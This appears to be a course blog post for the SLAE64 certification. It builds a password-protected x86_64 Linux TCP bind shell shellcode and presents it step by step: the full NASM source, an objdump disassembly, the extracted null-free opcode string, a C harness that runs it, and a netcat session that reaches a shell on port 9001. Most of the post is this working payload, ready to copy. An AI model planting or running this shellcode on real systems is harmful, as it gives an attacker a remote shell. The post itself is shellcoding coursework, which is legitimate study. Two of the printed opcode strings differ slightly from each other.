This post introduces the first mission of my SLAE64 journey.
Introduction
The main goal for the first SLAE64 assignment is to develop a shellcode for bind TCP shell with the following requirements:
- Binds to a port;
- Teh user needs to provide a correct password
- Executing a shell on incoming connection if thepassword is valid;
- The shellcode should be null-free;
Past, present and Future
The exercises of SLAE64 are identical to the ones of SLAE32, so for the 64-bit version, I will have a more simple approach.
If you want more detailed explanations of some topics, please check the SLAE32-related post, as the principles and ideas are the same.
The diff between 32 and 64 bit versions
With the increase of memory space in 64-bit ISA, the main differences are mainly extending the general purpose registers to 64-bit size. eax
, ebx
, rcx
, etc becomes rax
, rbx
, rcx
, etc. More info here.
The calling conventions approach had a significant update. For the 64-bit, we have the System V ABI
I; when we call a syscall, the function arguments are first passed into the defined order of registers shown below.
syscall | param 1 | param 2 | param 3 | param 4 | param 5 | param 6 |
---|---|---|---|---|---|---|
rax | rdi | rsi | rdx | r8 | r9 | r10 |
Other values are passed on the stack in reverse order, as in cdecl
. The syscall number should be placed in rax
. Also, the return value is stored in rax
too.
For an x86_64 syscall reference you can use the file /usr/include/x86_64-linux-gnu/asm/uninstd_64.h
Creating a TCP Bind Shellcode
There is a lot of overlap information with my post regarding the SLAE32 TCP Bind Shellcode. I advise you to look at it if you haven’t done it already. There are some essential concepts and ideas to understand what and why the shellcode is doing.
The shellcode presented in this post is already changed to work with a custom password.
The chosen password is isolemnlyswearthatiamuptonogood
.
This a 31-byte size string, but our buffer has 32 bytes in size because of the
newline
byte when we pressenter
key.
We can leverage the helper script revHex64.py
to output the password bytes ready to use.
Available at https://github.com/0xnibbles/slae_x86_64/blob/main/revHex64.py
For this assignment, I took the TCP Bind Shellcode used during the course as a reference. The shellcode had a lot of null bytes, so I needed to tweak the code a bit.
As the first task, let’s remove those null bytes.
Nulls? Get out of here!
Many nulls are because of a full register extension such as rax
or eax
when it only used a part of its bits.
For example:
40109a: b8 21 00 00 00 mov eax,0x21
eax
has 32 bits in size; when we move 0x21
, we only need 1 byte (8 bits). The remaining bits are filled with nulls.
Let’s refactor this code.
After removing the null bytes, a little optimization to use less space and adding the ask password part to the final shellcode
, becomes as follows:
; Student ID : PA-31319
; Student Name : Eduardo Silva
; Assignment 1 : TCP Bind Shell (Linux/x86_64) Assembly
; File Name : shell-bind-password.nasm
global _start
_start:
jmp main
ask_pass: db "Tell me the passcode", 0xa
main:
; sock = socket(AF_INET, SOCK_STREAM, 0)
; AF_INET = 2
; SOCK_STREAM = 1
; syscall number 41
xor rsi, rsi
mul rsi
add rax, 41
push byte 0x2 ; use less space
pop rdi
inc rsi
;xor rdx, rdx
syscall
; copy socket descriptor to rdi for future use
xchg rdi, rax
; server.sin_family = AF_INET
; server.sin_port = htons(PORT)
; server.sin_addr.s_addr = INADDR_ANY
; bzero(&server.sin_zero, 8)
xor rax, rax
push rax ; pushing 0.0.0.0 into in_addr
push word 0x2923 ;little endian -> 9001 = 0x2329
; byte first ... 0x115C is 4444)
push word 0x2 ; AF_INET - which is 0x02
mov rsi, rsp ; moving stack address to rsi
; bind(sock, (struct sockaddr *)&server, sockaddr_len)
; syscall number 49
add rdx, 0x10 ;put 16 bytes rdx - size of struct
add rax, 0x31 ; set rax to sys_bind
syscall ; make the call to bind
; socketid will be in rax
; listen(sock, MAX_CLIENTS)
; syscall number 50
xor rax, rax ; zero out rax
; socketid already in rsi
mov rdx, rax ; zeroing out rdx
add rdx, 0x01 ; moving backlog number to rdx
add rax, 50 ; setting rax to sys_listen
syscall ; make call to listen
; new = accept(sock, (struct sockaddr *)&client, &sockaddr_len)
; syscall number 43
xor rax, rax ; zero out rax
; socketid already in rsi
mov rsi, rax ; moving null to rsi
mov rdx, rax ; moving null to rdx
add rax, 43 ; setting rax to sys_connect
syscall ; make call to listen
; duplicate sockets
; sys_dup2
xchg rdi, rax ; moves clientid to rdi
; rax : sys_dup2 33
; rdi : already contains clientid
; rsi : 1 to 3 in loop
xor r9, r9 ; zeroing out loop counter
loopin:
xor rax, rax ; zero out rax
add rax, 33 ; setting rax to sys_dup2
mov rsi, r9 ; move fileid to duplicate
syscall ; call dup2
inc r9 ; increase r9 by 0x01
cmp r9, 3 ; compare r9 to 0x03
jne loopin
; ############ asking for password ------------------------------
password:
; sys_write
; rax : 1 - write syscall number
; rdi : unsigned int fd : 1 for stdout
; rsi : const char *buf : password buffer
; rdx : size_t count : password size
xor rax, rax
xor rdx, rdx ; or cqo??
inc rax
mov rdi, rax
lea rsi, [rel ask_pass]
mov dl, 21
syscall
; sys_read
; rdi : unsigned int fd : 0 for stdin
; rsi : char *buf : stack?
; rdx : size_t count : how big
xor rdx, rdx
xor rax, rax
xor rdi, rdi
; rax is already zero
mov rsi, rsp
add rdx, 32 ;password size
syscall
mov rdi, rsp
xor rsi, rsi
push rsi
mov rsi, 0x0a646f6f676f6e6f ; \ndoogono --> \n - new line byte = 0x0a
push rsi
mov rsi, 0x7470756d61697461 ; tpumaita
push rsi
mov rsi, 0x6874726165777379 ; htraewsy
push rsi
mov rsi, 0x6c6e6d656c6f7369 ; lnmelosi
push rsi
mov rsi, rsp ; password buffer pointer
xor rcx, rcx
add rcx, 32 ; 31 bytes for password and 1 byte for newline char
repe cmpsb
jne password
; ###### ------------------------------------------
; execve
; First NULL push
xor rax, rax
push rax
; push /bin//sh in reverse
mov rbx, 0x68732f2f6e69622f
push rbx
; store /bin//sh address in RDI
mov rdi, rsp
; Second NULL push
push rax
; set RDX
mov rdx, rsp
; Push address of /bin//sh
push rdi
; set RSI
mov rsi, rsp
; Call the Execve syscall
add rax, 59
syscall
We can verify the shellcode does not have null bytes as shown below with objdump
objdump -M intel -d shell-bind-password
shell-bind-password: file format elf64-x86-64
Disassembly of section .text:
0000000000401000 <_start>:
401000: eb 15 jmp 401017 <main>
0000000000401002 <ask_pass>:
401002: 54 push rsp
401003: 65 6c gs ins BYTE PTR es:[rdi],dx
401005: 6c ins BYTE PTR es:[rdi],dx
401006: 20 6d 65 and BYTE PTR [rbp+0x65],ch
401009: 20 74 68 65 and BYTE PTR [rax+rbp*2+0x65],dh
40100d: 20 70 61 and BYTE PTR [rax+0x61],dh
401010: 73 73 jae 401085 <password+0x9>
401012: 63 6f 64 movsxd ebp,DWORD PTR [rdi+0x64]
401015: 65 gs
401016: 0a .byte 0xa
0000000000401017 <main>:
401017: 48 31 f6 xor rsi,rsi
40101a: 48 f7 e6 mul rsi
40101d: 48 83 c0 29 add rax,0x29
401021: 6a 02 push 0x2
401023: 5f pop rdi
401024: 48 ff c6 inc rsi
401027: 0f 05 syscall
401029: 48 97 xchg rdi,rax
40102b: 48 31 c0 xor rax,rax
40102e: 50 push rax
40102f: 66 68 23 29 pushw 0x2923
401033: 66 6a 02 pushw 0x2
401036: 48 89 e6 mov rsi,rsp
401039: 48 83 c2 10 add rdx,0x10
40103d: 48 83 c0 31 add rax,0x31
401041: 0f 05 syscall
401043: 48 31 c0 xor rax,rax
401046: 48 89 c2 mov rdx,rax
401049: 48 83 c2 01 add rdx,0x1
40104d: 48 83 c0 32 add rax,0x32
401051: 0f 05 syscall
401053: 48 31 c0 xor rax,rax
401056: 48 89 c6 mov rsi,rax
401059: 48 89 c2 mov rdx,rax
40105c: 48 83 c0 2b add rax,0x2b
401060: 0f 05 syscall
401062: 48 97 xchg rdi,rax
401064: 4d 31 c9 xor r9,r9
0000000000401067 <loopin>:
401067: 48 31 c0 xor rax,rax
40106a: 48 83 c0 21 add rax,0x21
40106e: 4c 89 ce mov rsi,r9
401071: 0f 05 syscall
401073: 49 ff c1 inc r9
401076: 49 83 f9 03 cmp r9,0x3
40107a: 75 eb jne 401067 <loopin>
000000000040107c <password>:
40107c: 48 31 c0 xor rax,rax
40107f: 48 31 d2 xor rdx,rdx
401082: 48 ff c0 inc rax
401085: 48 89 c7 mov rdi,rax
401088: 48 8d 35 73 ff ff ff lea rsi,[rip+0xffffffffffffff73] # 401002 <ask_pass>
40108f: b2 15 mov dl,0x15
401091: 0f 05 syscall
401093: 48 31 d2 xor rdx,rdx
401096: 48 31 c0 xor rax,rax
401099: 48 31 ff xor rdi,rdi
40109c: 48 89 e6 mov rsi,rsp
40109f: 48 83 c2 20 add rdx,0x20
4010a3: 0f 05 syscall
4010a5: 48 89 e7 mov rdi,rsp
4010a8: 48 31 f6 xor rsi,rsi
4010ab: 56 push rsi
4010ac: 48 be 6f 6e 6f 67 6f movabs rsi,0xa646f6f676f6e6f
4010b3: 6f 64 0a
4010b6: 56 push rsi
4010b7: 48 be 61 74 69 61 6d movabs rsi,0x7470756d61697461
4010be: 75 70 74
4010c1: 56 push rsi
4010c2: 48 be 79 73 77 65 61 movabs rsi,0x6874726165777379
4010c9: 72 74 68
4010cc: 56 push rsi
4010cd: 48 be 69 73 6f 6c 65 movabs rsi,0x6c6e6d656c6f7369
4010d4: 6d 6e 6c
4010d7: 56 push rsi
4010d8: 48 89 e6 mov rsi,rsp
4010db: 48 31 c9 xor rcx,rcx
4010de: 80 c1 20 add cl,0x20
4010e1: f3 a6 repz cmps BYTE PTR ds:[rsi],BYTE PTR es:[rdi]
4010e3: 75 97 jne 40107c <password>
4010e5: 48 31 c0 xor rax,rax
4010e8: 50 push rax
4010e9: 48 bb 2f 62 69 6e 2f movabs rbx,0x68732f2f6e69622f
4010f0: 2f 73 68
4010f3: 53 push rbx
4010f4: 48 89 e7 mov rdi,rsp
4010f7: 50 push rax
4010f8: 48 89 e2 mov rdx,rsp
4010fb: 57 push rdi
4010fc: 48 89 e6 mov rsi,rsp
4010ff: 48 83 c0 3b add rax,0x3b
401103: 0f 05 syscall
From the output we can verify the null bytes were gone effectively.
Compiling and Testing the Shellcode
To be easier to compile my shellcode scripts and get the size and the opcodes I’ll use the 64-bit version of assembler.sh
.
Available in https://github.com/0xnibbles/slae_x86_64/blob/main/assembler.sh
Checking assembler.sh
output
╭─edu@debian ~/Desktop/slae_x86_64/assignments/1-shell-bind-tcp-password-shellcode ‹main●›
╰─$ ../../assembler.sh shell-bind-password.nasm 130 ↵
[*] Compiling with NASM
[*] Linking
[*] Extracting opcodes
[*] Done
Shellcode size: 262
"\xeb\x15\x54\x65\x6c\x6c\x20\x6d\x65\x20\x74\x68\x65\x20\x70\x61\x73\x73\x63\x6f\x64\x65\x0a\x48\x31\xf6\x48\xf7\xe6\x48\x83\xc0\x29\x6a\x02\x5f\x48\xff\xc6\x0f\x05\x48\x97\x48\x31\xc0\x50\x66\x68\x23\x29\x66\x6a\x02\x48\x89\xe6\x48\x83\xc2\x10\x48\x83\xc0\x31\x0f\x05\x48\x31\xc0\x48\x89\xc2\x48\x83\xc2\x01\x48\x83\xc0\x32\x0f\x05\x48\x31\xc0\x48\x89\xc6\x48\x89\xc2\x48\x83\xc0\x2b\x0f\x05\x48\x97\x4d\x31\xc9\x48\x31\xc0\x48\x83\xc0\x21\x4c\x89\xce\x0f\x05\x49\xff\xc1\x49\x83\xf9\x03\x75\xeb\x48\x31\xc0\x48\x31\xd2\x48\xff\xc0\x48\x89\xc7\x48\x8d\x35\x73\xff\xff\xff\xb2\x15\x0f\x05\x48\x31\xd2\x48\x31\xc0\x48\x31\xff\x48\x89\xe6\x48\x83\xc2\x20\x0f\x05\x48\x89\xe7\x48\x31\xf6\x56\x48\xbe\x6f\x6e\x6f\x67\x6f\x6f\x64\x0a\x56\x48\xbe\x61\x74\x69\x61\x6d\x75\x70\x74\x56\x48\xbe\x79\x73\x77\x65\x61\x72\x74\x68\x56\x48\xbe\x69\x73\x6f\x6c\x65\x6d\x6e\x6c\x56\x48\x89\xe6\x48\x31\xc9\x48\x83\xc1\x20\xf3\xa6\x75\x96\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05"
--------------------
[*] Hack the World!
--------------------
No null bytes appear in the shellcode. We are good to go and paste the shellcode to our shellcode.c program
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\xeb\x15\x54\x65\x6c\x6c\x20\x6d\x65\x20\x74\x68\x65\x20\x70\x61\x73\x73\x63\x6f\x64\x65\x0a\x48\x31\xf6\x48\xf7\xe6\x48\x83\xc0\x29\x6a\x02\x5f\x48\xff\xc6\x0f\x05\x48\x97\x48\x31\xc0\x50\x66\x68\x23\x29\x66\x6a\x02\x48\x89\xe6\x48\x83\xc2\x10\x48\x83\xc0\x31\x0f\x05\x48\x31\xc0\x48\x89\xc2\x48\x83\xc2\x01\x48\x83\xc0\x32\x0f\x05\x48\x31\xc0\x48\x89\xc6\x48\x89\xc2\x48\x83\xc0\x2b\x0f\x05\x48\x97\x4d\x31\xc9\x48\x31\xc0\x48\x83\xc0\x21\x4c\x89\xce\x0f\x05\x49\xff\xc1\x49\x83\xf9\x03\x75\xeb\x48\x31\xc0\x48\x31\xd2\x48\xff\xc0\x48\x89\xc7\x48\x8d\x35\x73\xff\xff\xff\xb2\x15\x0f\x05\x48\x31\xd2\x48\x31\xc0\x48\x31\xff\x48\x89\xe6\x48\x83\xc2\x20\x0f\x05\x48\x89\xe7\x48\x31\xf6\x56\x48\xbe\x6f\x6e\x6f\x67\x6f\x6f\x64\x0a\x56\x48\xbe\x61\x74\x69\x61\x6d\x75\x70\x74\x56\x48\xbe\x79\x73\x77\x65\x61\x72\x74\x68\x56\x48\xbe\x69\x73\x6f\x6c\x65\x6d\x6e\x6c\x56\x48\x89\xe6\x48\x31\xc9\x80\xc1\x20\xf3\xa6\x75\x97\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05";
main() {
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Compiling with gcc
and executing it
╭─edu@debian ~/Desktop/slae_x86_64/assignments/1-shell-bind-tcp-password-shellcode ‹main●›
╰─$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
shellcode.c:7:1: warning: return type defaults to ‘int’ [-Wimplicit-int]
main() {
^~~~
╭─edu@debian ~/Desktop/slae_x86_64/assignments/1-shell-bind-tcp-password-shellcode ‹main●›
╰─$ ./shellcode
Shellcode Length: 262
---------------
╭─edu@debian ~/Desktop/slae_x86_64/assignments/1-shell-bind-tcp-password-shellcode ‹main●›
╰─$ nc -nv 127.0.0.1 9001
(UNKNOWN) [127.0.0.1] 9001 (?) open
Tell me the passcode
dasdhja
Tell me the passcode
isolemnlyswearthatiamuptonogood
whoami
edu
id
uid=1000(edu) gid=1000(edu) groups=1000(edu) ...
Oh yeah! The shellcode checks correctly for the right password and spawns a shell!
This blog post has been created for completing the requirements of the x86_64 Assembly Language and Shellcoding on Linux (SLAE64): https://www.pentesteracademy.com/course?id=7
Student ID: PA-31319
All the source code files are available on GitHub at https://github.com/0xnibbles/slae_x86_64